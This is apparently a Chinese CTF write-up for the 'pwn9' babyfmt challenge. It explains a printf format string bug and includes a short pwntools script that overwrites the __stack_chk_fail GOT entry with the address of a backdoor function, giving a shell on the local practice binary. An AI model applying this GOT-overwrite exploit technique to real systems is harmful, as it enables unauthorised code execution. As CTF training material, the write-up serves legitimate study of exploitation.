ctf论剑场 pwn9 write up
pwn9
0x00 文件分析
看了下这个文件的位数和保护开启情况。由上图,我们可以知道,babyfmt是一个64位文件,而且开启了canary(栈溢出保护)和NX(堆栈不可执行)这两个保护。
由ida反汇编之后,我们可以看到这里有一个格式化字符串漏洞printf,不懂格式化字符串漏洞的同学,可以参考下面的链接,这位大佬写的非常好
格式化字符串漏洞
列表还有一个hello函数中有system调用,是这个程序的后门。
0x01 溢出思路
通常来说,格式化字符串漏洞会有两次输入,第一次通过printf得到canary值,然后将其添加到第二次输入内(shellcode),避免函数返回时,检测到栈溢出。这题的程序里已经含有system函数了,也就是说如果能得到canary值,然后再第二次输入时加到shellcode内就能返回到system,获得shell。
但是这题你会发现这里只有一次输入。需要多次输入,可以通过修改fini_array的值来多次回到main函数内,进行多次输入。但是开启了canary保护,要通过溢出修改fini_array的值就要得到canary的值(而这个值在每次程序执行时都会变化),就陷入了尴尬的境地。
writeup
参考了这位大佬的writeup,明白了这题的思路:通过修改got表来实现返回到system。
0x02 writeup&&解析
from pwn import *
context.log_level = ‘debug’
p = process(’./babyfmt’)
elf = ELF(’./babyfmt’)
stack_chk_fail_got = elf.got[’__stack_chk_fail’]
#gdb.attach§
payload = ‘aaaaa%1569d%8$hn’ + p64(stack_chk_fail_got)
payload += ‘a’*0x60
p.sendline(payload)
p.interactive()
我们只有一次输入,那我们只要我们栈溢出必然不能安全返回,从而调用函数__stack_chk_fail报错并退出进程。只要我们想溢出,这个过程是必然的,那么我们只需要将__stack_chk_fail的got表地址改为后门函数hello的地址即可。由于第一次调用时,plt表向got表跳转后,got表中还未存储各个函数的真实地址,got表里存放的操作是跳向plt表的下一条指令。所以第一条调用__stack_chk_fail的操作是
main:
call ___stack_chk_fail (0x4004D0)
0x4004D0: FF 25 42 0B 20 00 jmp cs:off_601018(got 表)
0x601018: 0x4004D6
也就是说第一次执行动态库函数流程是这样的plt->got->plt,推荐看一下plt表和got表的关系:plt&&got
而程序后门(hello)的地址为0x400626,那么只要将got表的最低两位改为0626即可,
aaaaa%1569d%8$hn
所以这个字符串的意思是将十进制下(1569+5(5个a)) =16进制(0x0626)写入到__stack_chk_fail的低位两个字节,也就是说got表地址由0x4004D6变为0x400626,返回到了后门hello函数的位置,从而执行了system调用获得了shell。
欢迎交流指正。qq:1070657117
上一篇: 网站优化建议之网站优化的基本流程
下一篇: 增加外部链接的方法和注意事项